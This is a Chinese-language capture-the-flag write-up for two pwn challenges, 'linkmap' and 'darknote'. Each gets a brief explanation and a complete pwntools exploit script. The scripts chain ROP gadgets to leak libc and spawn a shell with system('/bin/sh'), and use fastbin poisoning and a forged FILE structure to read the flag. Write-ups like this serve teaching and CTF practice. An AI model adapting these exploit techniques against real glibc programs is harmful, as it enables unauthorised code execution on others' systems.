赛后半小时出题,我是傻逼。

PWN

linkmap

将got表上的指针写到bss段上,然后部分写 read 的函数指针为 write ,需要爆破一个16进制数位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/python2
from pwn import *

context.binary = 'ezzzz'
elf = ELF('ezzzz', checksec = False)
libc = ELF('libc.so.6', checksec = False)

rc = lambda n : io.recv(n)
sd = lambda x : io.send(x)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, '\x00'))

while True:
# io = process('./ezzzz')
io = remote("pwn-71a2e32c3c.challenge.xctf.org.cn", 9999, ssl=True)
pop_rdi = 0x00000000004007e3
pop_rsi_r15 = 0x00000000004007e1
pop_rbp = 0x0000000000400570
leave = 0x0000000000400712
read_plt = 0x00000000004004E0
csu1 = 0x00000000004007DA
csu2 = 0x00000000004007C0

rop_chain = flat([
pop_rsi_r15,
0x0000000000601020,
0,
read_plt,
csu1,
0,
1,
0x0000000000601020,
20,
1,
0,
csu2,
'a' * 56,
0x0000000000400606,
pop_rsi_r15,
0x0000000000601078 + 8 * 10,
0,
read_plt,
pop_rbp,
0x0000000000601048,
leave,
])
sd(flat({0x18: rop_chain}))
pld = flat([
0x00000000004004c9,
0x0000000000601028,
0,
0,
0x0000000000600FD8,
0,
csu1,
0,
1,
0x0000000000601020,
0x50,
0x0000000000600FF8,
1,
csu2,
'a' * 56,
0xdeadbeef,
pop_rdi,
0,
pop_rsi_r15,
0x0000000000601000 + 0x908,
0,
read_plt,
pop_rbp,
0x0000000000601000 + 0x908,
leave
])
raw_input()
sd(pld)
raw_input()
sd('\x20\x0a')
try:
data = rc(8)
assert 'timeout' not in data
scanf_addr = uu64(data[:7])
libc_base = scanf_addr - 0x60c40 - 0x14d0
break
except:
io.close()
sleep(0.1)

io.recv(timeout = 0.1)
sys_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
pld = flat([
0,
pop_rdi,
binsh_addr,
sys_addr
])
sd(pld)
ia()

darknote

赛后半小时通的(

申请堆表的时候有整数溢出可以造成越界写入堆地址,将申请出来的chunk地址写到大小为0x70的fastbin链表上,因为fd指针可控,所以可以造成任意地址申请和任意地址写

注意到菜单函数puts的参数为data段的字符串指针,所以第一次将chunk申请到这上面去把这些字符串指针改为got表的函数指针,下次输出菜单的时候就能泄露出libc了。后续就是多次利用这个任意地址写在bss段上布置好伪造的 FILE 结构体,最后再将stdout指针劫持为伪造的结构体的地址即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/usr/bin/python2
from pwn import *

io = process('./darknote')
elf = ELF('darknote', checksec = False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)
context.binary = 'darknote'

rc = lambda n : io.recv(n)
ru = lambda x : io.recvuntil(x, drop = True)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, '\x00'))
libc_os = lambda x : libc_base + x
libc_sym = lambda x : libc_os(libc.sym[x])

def menu(choice):
sla('>> ', str(choice))

def add(idx, content):
menu(1)
sla('Index: ', str(idx))
sa('Note: ', content)

sla('How many dark notes do you want?\n', str(0x61000000))
pld = flat([
0,
0x71,
0x0000000000404250-0x10
])
add(0x103db75, pld + '\n')
add(0, 'a\n')
pld = flat({0x10: 0x0000000000403FD0}, filler = '\x00')
add(1, pld + '\n')
ru('==================================\n')
libc_base = uu64(rc(6)) - libc.sym['malloc']
file_addr = 0x00000000004042A0 + 0x300
pld = flat([
0,
0x71,
file_addr+0x88-0x10
])
add(0x103db75, pld + '\n')
add(0, 'a\n')
jump_table = libc_os(0x7fa5480e6f60-0x7fa547efe000)
pld = flat({
0: file_addr-0x10,
0x18: file_addr,
0x50: jump_table,
0x58: file_addr + 0x88 + 0x10
}, filler = '\x00')
add(1, pld + '\n')

pld = flat([
0,
0x71,
file_addr+0x88-0x10-0x10+0x88
])
add(0x103db75, pld + '\n')
add(0, 'a\n')
gadgets = libc_os(0x0000000000154DEA)
pld = flat(gadgets)
add(1, pld + '\n')

pld = flat([
0,
0x71,
file_addr-0x10
])
add(0x103db75, pld + '\n')
add(0, 'a\n')
gadgets = libc_os(0x0000000000154DEA)
leave = libc_os(0x00000000000578c8)
pop_rdi = libc_os(0x0000000000023b6a)
pop_rsi = libc_os(0x000000000002601f)
pop_rdx = libc_os(0x0000000000142c92)
pop_rbp = libc_os(0x00000000000226c0)
pop_rax = libc_os(0x0000000000036174)
syscall = libc_os(0x00000000000630a9)
write_addr = libc_sym('write')
read_addr = libc_sym('read')
rop_addr = file_addr + 0x100 + 0x10
pop2 = libc_os(0x0000000000023b68)
rop_addr1 = rop_addr + 0x100
rop_chain = flat([
rop_addr1 - 8,
pop2,
0,
rop_addr,
pop_rdi,
leave,
pop_rax,
2,
pop_rdi,
file_addr + 0x58,
syscall,
leave,
])
pld = flat({
0x48: rop_addr,
0x58: 'flag\x00'
}, filler = '\x00')
add(1, pld + '\n')

pld = flat([
0,
0x71,
rop_addr - 0x10,
])
add(0x103db75, pld + '\n')
add(0, 'a\n')
add(1, rop_chain + '\n')

rop_chain = flat([
pop_rdi,
3,
pop_rsi,
file_addr - 0xa0,
pop_rdx,
0x30,
read_addr,
pop_rdi,
1,
write_addr
])
pld = flat([
0,
0x71,
rop_addr1 - 0x10,
])
add(0x103db75, pld + '\n')
add(0, 'a\n')
add(1, rop_chain + '\n')

pld = flat([
0,
0x71,
0x00000000004042A0-0x10-0x10,
])
add(0x103db75, pld + '\n')
add(0, 'a\n')
pld = flat({0x10: file_addr}, filler = '\x00')
add(1, pld + '\n')
ia()